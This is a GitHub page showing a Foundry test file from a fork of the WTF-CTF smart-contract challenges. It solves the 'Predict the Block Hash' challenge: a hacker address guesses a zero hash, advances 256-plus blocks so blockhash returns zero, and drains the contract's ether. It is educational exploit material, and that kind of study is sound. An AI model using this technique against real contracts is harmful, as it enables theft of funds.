forked from WTFAcademy/WTF-CTF
-
Notifications
You must be signed in to change notification settings - Fork 0
/
PredictTheBlockHashChallenge.t.sol
34 lines (24 loc) · 1.14 KB
/
PredictTheBlockHashChallenge.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "./PredictTheBlockHashChallenge.sol";
contract PredictTheBlockHashChallengeTest is Test {
PredictTheBlockHashChallenge public predictTheBlockHashChallenge;
address hacker = makeAddr("hacker");
function setUp() public {
payable(hacker).transfer(1 ether);
predictTheBlockHashChallenge = new PredictTheBlockHashChallenge{value: 1 ether}();
}
function testPredictTheBlockHash() public {
emit log_named_uint("my balance", hacker.balance);
emit log_named_uint("predictTheBlockHashChallenge's balance", address(predictTheBlockHashChallenge).balance);
vm.startPrank(hacker);
predictTheBlockHashChallenge.lockInGuess{value: 1 ether}(bytes32(0));
vm.roll(block.number + 260);
predictTheBlockHashChallenge.settle();
vm.stopPrank();
emit log_named_uint("my new value", hacker.balance);
emit log_named_uint("predictTheBlockHashChallenge's new balance", address(predictTheBlockHashChallenge).balance);
assertTrue(predictTheBlockHashChallenge.isComplete());
}
}